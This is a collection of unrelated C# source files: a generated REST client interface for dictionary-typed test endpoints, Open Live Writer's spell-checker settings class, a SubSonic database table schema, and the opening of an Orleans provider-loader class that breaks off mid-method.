Task<HttpOperationResponse> PutLongValidWithHttpMessagesAsync(IDictionary<string, long?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get long dictionary value {"0": 1, "1": null, "2": 0} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, long?>>> GetLongInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get long dictionary value {"0": 1, "1": "integer", "2": 0} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, long?>>> GetLongInvalidStringWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get float dictionary value {"0": 0, "1": -0.01, "2": 1.2e20} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, double?>>> GetFloatValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value {"0": 0, "1": -0.01, "2": 1.2e20} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutFloatValidWithHttpMessagesAsync(IDictionary<string, double?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get float dictionary value {"0": 0.0, "1": null, "2": 1.2e20} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, double?>>> GetFloatInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get boolean dictionary value {"0": 1.0, "1": "number", "2": 0.0} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, double?>>> GetFloatInvalidStringWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get float dictionary value {"0": 0, "1": -0.01, "2": 1.2e20} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, double?>>> GetDoubleValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value {"0": 0, "1": -0.01, "2": 1.2e20} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutDoubleValidWithHttpMessagesAsync(IDictionary<string, double?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get float dictionary value {"0": 0.0, "1": null, "2": 1.2e20} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, double?>>> GetDoubleInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get boolean dictionary value {"0": 1.0, "1": "number", "2": 0.0} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, double?>>> GetDoubleInvalidStringWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get string dictionary value {"0": "foo1", "1": "foo2", "2": "foo3"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetStringValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value {"0": "foo1", "1": "foo2", "2": "foo3"} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutStringValidWithHttpMessagesAsync(IDictionary<string, string> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get string dictionary value {"0": "foo", "1": null, "2": "foo2"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetStringWithNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get string dictionary value {"0": "foo", "1": 123, "2": "foo2"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, string>>> GetStringWithInvalidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get integer dictionary value {"0": "2000-12-01", "1": /// "1980-01-02", "2": "1492-10-12"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, DateTime?>>> GetDateValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value {"0": "2000-12-01", "1": "1980-01-02", "2": /// "1492-10-12"} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutDateValidWithHttpMessagesAsync(IDictionary<string, DateTime?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get date dictionary value {"0": "2012-01-01", "1": null, "2": /// "1776-07-04"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, DateTime?>>> GetDateInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get date dictionary value {"0": "2011-03-22", "1": "date"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, DateTime?>>> GetDateInvalidCharsWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get date-time dictionary value {"0": "2000-12-01t00:00:01z", "1": /// "1980-01-02T00:11:35+01:00", "2": "1492-10-12T10:15:01-08:00"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, DateTime?>>> GetDateTimeValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Set dictionary value {"0": "2000-12-01t00:00:01z", "1": /// "1980-01-02T00:11:35+01:00", "2": "1492-10-12T10:15:01-08:00"} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutDateTimeValidWithHttpMessagesAsync(IDictionary<string, DateTime?> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get date dictionary value {"0": "2000-12-01t00:00:01z", "1": null} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, DateTime?>>> GetDateTimeInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get date dictionary value {"0": "2000-12-01t00:00:01z", "1": /// "date-time"} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, DateTime?>>> GetDateTimeInvalidCharsWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get byte dictionary value {"0": hex(FF FF FF FA), "1": hex(01 02 /// 03), "2": hex (25, 29, 43)} with each item encoded in base64 /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, byte[]>>> GetByteValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Put the dictionary value {"0": hex(FF FF FF FA), "1": hex(01 02 /// 03), "2": hex (25, 29, 43)} with each elementencoded in base 64 /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutByteValidWithHttpMessagesAsync(IDictionary<string, byte[]> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get byte dictionary value {"0": hex(FF FF FF FA), "1": null} with /// the first item base64 encoded /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, byte[]>>> GetByteInvalidNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get dictionary of complex type null value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, Widget>>> GetComplexNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get empty dictionary of complex type {} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, Widget>>> GetComplexEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get dictionary of complex type with null item {"0": {"integer": 1, /// "string": "2"}, "1": null, "2": {"integer": 5, "string": "6"}} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, Widget>>> GetComplexItemNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get dictionary of complex type with empty item {"0": {"integer": /// 1, "string": "2"}, "1:" {}, "2": {"integer": 5, "string": "6"}} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, Widget>>> GetComplexItemEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get dictionary of complex type with {"0": {"integer": 1, "string": /// "2"}, "1": {"integer": 3, "string": "4"}, "2": {"integer": 5, /// "string": "6"}} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, Widget>>> GetComplexValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Put an dictionary of complex type with values {"0": {"integer": 1, /// "string": "2"}, "1": {"integer": 3, "string": "4"}, "2": /// {"integer": 5, "string": "6"}} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutComplexValidWithHttpMessagesAsync(IDictionary<string, Widget> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get a null array /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IList<string>>>> GetArrayNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an empty dictionary {} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IList<string>>>> GetArrayEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionary of array of strings {"0": ["1", "2", "3"], "1": /// null, "2": ["7", "8", "9"]} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IList<string>>>> GetArrayItemNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an array of array of strings [{"0": ["1", "2", "3"], "1": [], /// "2": ["7", "8", "9"]} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IList<string>>>> GetArrayItemEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an array of array of strings {"0": ["1", "2", "3"], "1": ["4", /// "5", "6"], "2": ["7", "8", "9"]} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IList<string>>>> GetArrayValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Put An array of array of strings {"0": ["1", "2", "3"], "1": ["4", /// "5", "6"], "2": ["7", "8", "9"]} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutArrayValidWithHttpMessagesAsync(IDictionary<string, IList<string>> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionaries of dictionaries with value null /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IDictionary<string, string>>>> GetDictionaryNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionaries of dictionaries of type &lt;string, string&gt; /// with value {} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IDictionary<string, string>>>> GetDictionaryEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionaries of dictionaries of type &lt;string, string&gt; /// with value {"0": {"1": "one", "2": "two", "3": "three"}, "1": /// null, "2": {"7": "seven", "8": "eight", "9": "nine"}} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IDictionary<string, string>>>> GetDictionaryItemNullWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionaries of dictionaries of type &lt;string, string&gt; /// with value {"0": {"1": "one", "2": "two", "3": "three"}, "1": {}, /// "2": {"7": "seven", "8": "eight", "9": "nine"}} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IDictionary<string, string>>>> GetDictionaryItemEmptyWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionaries of dictionaries of type &lt;string, string&gt; /// with value {"0": {"1": "one", "2": "two", "3": "three"}, "1": /// {"4": "four", "5": "five", "6": "six"}, "2": {"7": "seven", "8": /// "eight", "9": "nine"}} /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse<IDictionary<string, IDictionary<string, string>>>> GetDictionaryValidWithHttpMessagesAsync(Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Get an dictionaries of dictionaries of type &lt;string, string&gt; /// with value {"0": {"1": "one", "2": "two", "3": "three"}, "1": /// {"4": "four", "5": "five", "6": "six"}, "2": {"7": "seven", "8": /// "eight", "9": "nine"}} /// </summary> /// <param name='arrayBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> Task<HttpOperationResponse> PutDictionaryValidWithHttpMessagesAsync(IDictionary<string, IDictionary<string, string>> arrayBody, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); } }
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for details. using System; using System.Collections; using System.Diagnostics; using System.Globalization; using System.IO; using OpenLiveWriter.CoreServices; using OpenLiveWriter.CoreServices.Diagnostics; using OpenLiveWriter.CoreServices.Settings; using OpenLiveWriter.Localization; /* TODO: Should we pass the language code? Be robust against the selected or default language not being present in the list of dictionaries Include tech.tlx for everyone? */ namespace OpenLiveWriter.SpellChecker { /// <summary> /// Summary description for SpellingSettings. /// </summary> public class SpellingSettings { [Obsolete] public static bool CanSpellCheck { get { return Language != SpellingCheckerLanguage.None; } } /// <summary> /// Path to dictionary files /// </summary> public static string DictionaryPath { get { return Path.Combine(ApplicationEnvironment.InstallationDirectory, "Dictionaries"); } } public static string UserDictionaryPath { get { // In the past this property returned the DIRECTORY // where the user dictionary file should go. Now it returns the path to // the FILE itself. string userDictionaryPath = Path.Combine(ApplicationEnvironment.ApplicationDataDirectory, "Dictionaries"); if (!Directory.Exists(userDictionaryPath)) Directory.CreateDirectory(userDictionaryPath); return Path.Combine(userDictionaryPath, "User.dic"); } } public static event EventHandler SpellingSettingsChanged; public static void FireChangedEvent() { if (SpellingSettingsChanged != null) SpellingSettingsChanged(null, new EventArgs()); } /// <summary> /// Run real time spell checker (squiggles) /// </summary> public static bool RealTimeSpellChecking { get { // Just doing this GetString to see if the value is present. // There isn't a SpellingKey.HasValue(). if (SpellingKey.HasValue(REAL_TIME_SPELL_CHECKING)) return SpellingKey.GetBoolean(REAL_TIME_SPELL_CHECKING, true); // This is GetBoolean rather than just "return RealTimeSpellCheckingDefault" // to ensure that the default gets written to the registry. return SpellingKey.GetBoolean(REAL_TIME_SPELL_CHECKING, RealTimeSpellCheckingDefault); } set { SpellingKey.SetBoolean(REAL_TIME_SPELL_CHECKING, value); } } private const string REAL_TIME_SPELL_CHECKING = "RealTimeSpellChecking"; private static bool RealTimeSpellCheckingDefault { get { try { string lang = CultureInfo.CurrentUICulture.TwoLetterISOLanguageName; foreach (SpellingLanguageEntry sentryLang in GetInstalledLanguages()) if (sentryLang.TwoLetterIsoLanguageName == lang) return true; return false; } catch (Exception e) { Trace.WriteLine(e.ToString()); return false; } } } /// <summary> /// Languages supported by the sentry spelling checker /// </summary> public static SpellingLanguageEntry[] GetInstalledLanguages() { string lexiconPath = DictionaryPath; ArrayList list = new ArrayList(); foreach (SpellingLanguageEntry entry in SpellingConfigReader.Languages) { if (entry.Language == SpellingCheckerLanguage.None || entry.IsInstalled(lexiconPath)) { list.Add(entry); } } return (SpellingLanguageEntry[])list.ToArray(typeof(SpellingLanguageEntry)); } public static SpellingLanguageEntry GetInstalledLanguage(SpellingCheckerLanguage language) { foreach (SpellingLanguageEntry entry in GetInstalledLanguages()) { if (entry.Language == language) return entry; } return null; } /// <summary> /// Run spelling form before publishing /// </summary> public static bool CheckSpellingBeforePublish { get { return SpellingKey.GetBoolean(CHECK_SPELLING_BEFORE_PUBLISH, CHECK_SPELLING_BEFORE_PUBLISH_DEFAULT); } set { SpellingKey.SetBoolean(CHECK_SPELLING_BEFORE_PUBLISH, value); } } private const string CHECK_SPELLING_BEFORE_PUBLISH = "CheckSpellingBeforePublish"; private const bool CHECK_SPELLING_BEFORE_PUBLISH_DEFAULT = false; /// <summary> /// Ignore words in upper-case /// </summary> public static bool IgnoreUppercase { get { return SpellingKey.GetBoolean(IGNORE_UPPERCASE, IGNORE_UPPERCASE_DEFAULT); } set { SpellingKey.SetBoolean(IGNORE_UPPERCASE, value); } } private const string IGNORE_UPPERCASE = "IgnoreUppercase"; private const bool IGNORE_UPPERCASE_DEFAULT = true; /// <summary> /// Ignore words with numbers /// </summary> public static bool IgnoreWordsWithNumbers { get { return SpellingKey.GetBoolean(IGNORE_NUMBERS, IGNORE_NUMBERS_DEFAULT); } set { SpellingKey.SetBoolean(IGNORE_NUMBERS, value); } } private const string IGNORE_NUMBERS = "IgnoreNumbers"; private const bool IGNORE_NUMBERS_DEFAULT = true; /// <summary> /// Enable AutoCorrect /// </summary> public static bool EnableAutoCorrect { get { return SpellingKey.GetBoolean(AUTOCORRECT, AUTOCORRECT_DEFAULT); } set { SpellingKey.SetBoolean(AUTOCORRECT, value); } } private const string AUTOCORRECT = "AutoCorrectEnabled"; private const bool AUTOCORRECT_DEFAULT = true; /// <summary> /// Main language for spell checking /// </summary> public static SpellingCheckerLanguage Language { get { // Check if the language specified in the registry has dictionaries installed. // If so, use it. If not, check if the default language has dictionaries // installed. If so, use it. If not, use the English-US. SpellingCheckerLanguage defaultLanguage = SpellingConfigReader.DefaultLanguage; SpellingCheckerLanguage preferredLanguage; try { preferredLanguage = (SpellingCheckerLanguage)SpellingKey.GetEnumValue(LANGUAGE, typeof(SpellingCheckerLanguage), defaultLanguage); } catch (Exception e) { Trace.Fail(e.ToString()); preferredLanguage = defaultLanguage; } if (preferredLanguage == SpellingCheckerLanguage.None) return SpellingCheckerLanguage.None; foreach (SpellingLanguageEntry lang in GetInstalledLanguages()) { if (lang.Language == preferredLanguage) return preferredLanguage; } // Language in registry is not installed! Trace.WriteLine("Dictionary language specified in registry is not installed. Using fallback"); foreach (SpellingLanguageEntry lang in GetInstalledLanguages()) { if (lang.Language == defaultLanguage) { Language = defaultLanguage; return defaultLanguage; } } return Language = SpellingCheckerLanguage.EnglishUS; } set { SpellingKey.SetString(LANGUAGE, value.ToString()); } } private const string LANGUAGE = "DictionaryLanguage"; internal static SettingsPersisterHelper SettingsKey = ApplicationEnvironment.PreferencesSettingsRoot.GetSubSettings("PostEditor"); public static SettingsPersisterHelper SpellingKey = SettingsKey.GetSubSettings("Spelling"); } }
using System; using SubSonic.Schema; using SubSonic.DataProviders; using System.Data; namespace Solution.DataAccess.DataModel { /// <summary> /// Table: T_TABLESET /// Primary Key: CODE /// </summary> public class T_TABLESETStructs: DatabaseTable { public T_TABLESETStructs(IDataProvider provider):base("T_TABLESET",provider){ ClassName = "T_TABLESET"; SchemaName = "dbo"; Columns.Add(new DatabaseColumn("Id", this) { IsPrimaryKey = false, DataType = DbType.Int32, IsNullable = false, AutoIncrement = true, IsForeignKey = false, MaxLength = 0, PropertyName = "Id" }); Columns.Add(new DatabaseColumn("CODE", this) { IsPrimaryKey = true, DataType = DbType.AnsiStringFixedLength, IsNullable = false, AutoIncrement = false, IsForeignKey = false, MaxLength = 4, PropertyName = "CODE" }); Columns.Add(new DatabaseColumn("NAMEE", this) { IsPrimaryKey = false, DataType = DbType.AnsiString, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 100, PropertyName = "NAMEE" }); Columns.Add(new DatabaseColumn("NAMEC", this) { IsPrimaryKey = false, DataType = DbType.AnsiString, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 100, PropertyName = "NAMEC" }); Columns.Add(new DatabaseColumn("DATAEA", this) { IsPrimaryKey = false, DataType = DbType.AnsiString, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 100, PropertyName = "DATAEA" }); Columns.Add(new DatabaseColumn("NOTES", this) { IsPrimaryKey = false, DataType = DbType.AnsiString, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 100, PropertyName = "NOTES" }); Columns.Add(new DatabaseColumn("RECORD_BY", this) { IsPrimaryKey = false, DataType = DbType.String, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 100, PropertyName = "RECORD_BY" }); Columns.Add(new DatabaseColumn("RECORD_DATE", this) { IsPrimaryKey = false, DataType = DbType.DateTime, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 0, PropertyName = "RECORD_DATE" }); Columns.Add(new DatabaseColumn("EDIT_BY", this) { IsPrimaryKey = false, DataType = DbType.String, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 100, PropertyName = "EDIT_BY" }); Columns.Add(new DatabaseColumn("EDIT_DATE", this) { IsPrimaryKey = false, DataType = DbType.DateTime, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 0, PropertyName = "EDIT_DATE" }); Columns.Add(new DatabaseColumn("SYSDIV", this) { IsPrimaryKey = false, DataType = DbType.AnsiStringFixedLength, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 2, PropertyName = "SYSDIV" }); Columns.Add(new DatabaseColumn("STATURS", this) { IsPrimaryKey = false, DataType = DbType.AnsiStringFixedLength, IsNullable = true, AutoIncrement = false, IsForeignKey = false, MaxLength = 1, PropertyName = "STATURS" }); } public IColumn Id{ get{ return this.GetColumn("Id"); } } public IColumn CODE{ get{ return this.GetColumn("CODE"); } } public IColumn NAMEE{ get{ return this.GetColumn("NAMEE"); } } public IColumn NAMEC{ get{ return this.GetColumn("NAMEC"); } } public IColumn DATAEA{ get{ return this.GetColumn("DATAEA"); } } public IColumn NOTES{ get{ return this.GetColumn("NOTES"); } } public IColumn RECORD_BY{ get{ return this.GetColumn("RECORD_BY"); } } public IColumn RECORD_DATE{ get{ return this.GetColumn("RECORD_DATE"); } } public IColumn EDIT_BY{ get{ return this.GetColumn("EDIT_BY"); } } public IColumn EDIT_DATE{ get{ return this.GetColumn("EDIT_DATE"); } } public IColumn SYSDIV{ get{ return this.GetColumn("SYSDIV"); } } public IColumn STATURS{ get{ return this.GetColumn("STATURS"); } } } }
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Threading.Tasks; using System.Xml; using Orleans.Runtime; using Orleans.Runtime.Configuration; namespace Orleans.Providers { /// <summary> /// Providers configuration and loading error semantics: /// 1) We will only load the providers that were specified in the config. /// If a provider is not specified in the config, we will not attempt to load it. /// Specificaly, it means both storage and streaming providers are loaded only if configured. /// 2) If a provider is specified in the config, but was not loaded (no type found, or constructor failed, or Init failed), the silo will fail to start. /// /// Loading providers workflow and error handling implementation: /// 1) Load ProviderCategoryConfiguration. /// a) If CategoryConfiguration not found - it is not an error, continue. /// 2) Go over all assemblies and load all found providers and instantiate them via ProviderTypeManager. /// a) If a certain found provider type failed to get instantiated, it is not an error, continue. /// 3) Validate all providers were loaded: go over all provider config and check that we could indeed load and instantiate all of them. /// a) If failed to load or instantiate at least one configured provider, fail the silo start. /// 4) InitProviders: call Init on all loaded providers. /// a) Failure to init a provider wil result in silo failing to start. /// </summary> /// <typeparam name="TProvider"></typeparam> internal class ProviderLoader<TProvider> where TProvider : IProvider { private readonly Dictionary<string, TProvider> providers; private IDictionary<string, IProviderConfiguration> providerConfigs; private readonly Logger logger; public ProviderLoader() { logger = LogManager.GetLogger("ProviderLoader/" + typeof(TProvider).Name, LoggerType.Runtime); providers = new Dictionary<string, TProvider>(); } public void LoadProviders(IDictionary<string, IProviderConfiguration> configs, IProviderManager providerManager) { providerConfigs = configs ?? new Dictionary<string, IProviderConfiguration>(); foreach (IProviderConfiguration providerConfig in providerConfigs.Values) { ((ProviderConfiguration) providerConfig).SetProviderManager(providerManager); } // Load providers ProviderTypeLoader.AddProviderTypeManager(t => typeof(TProvider).IsAssignableFrom(t), RegisterProviderType); ValidateProviders(); } // Close providers and then remove them from the list public async Task RemoveProviders(IList<string> providerNames) { 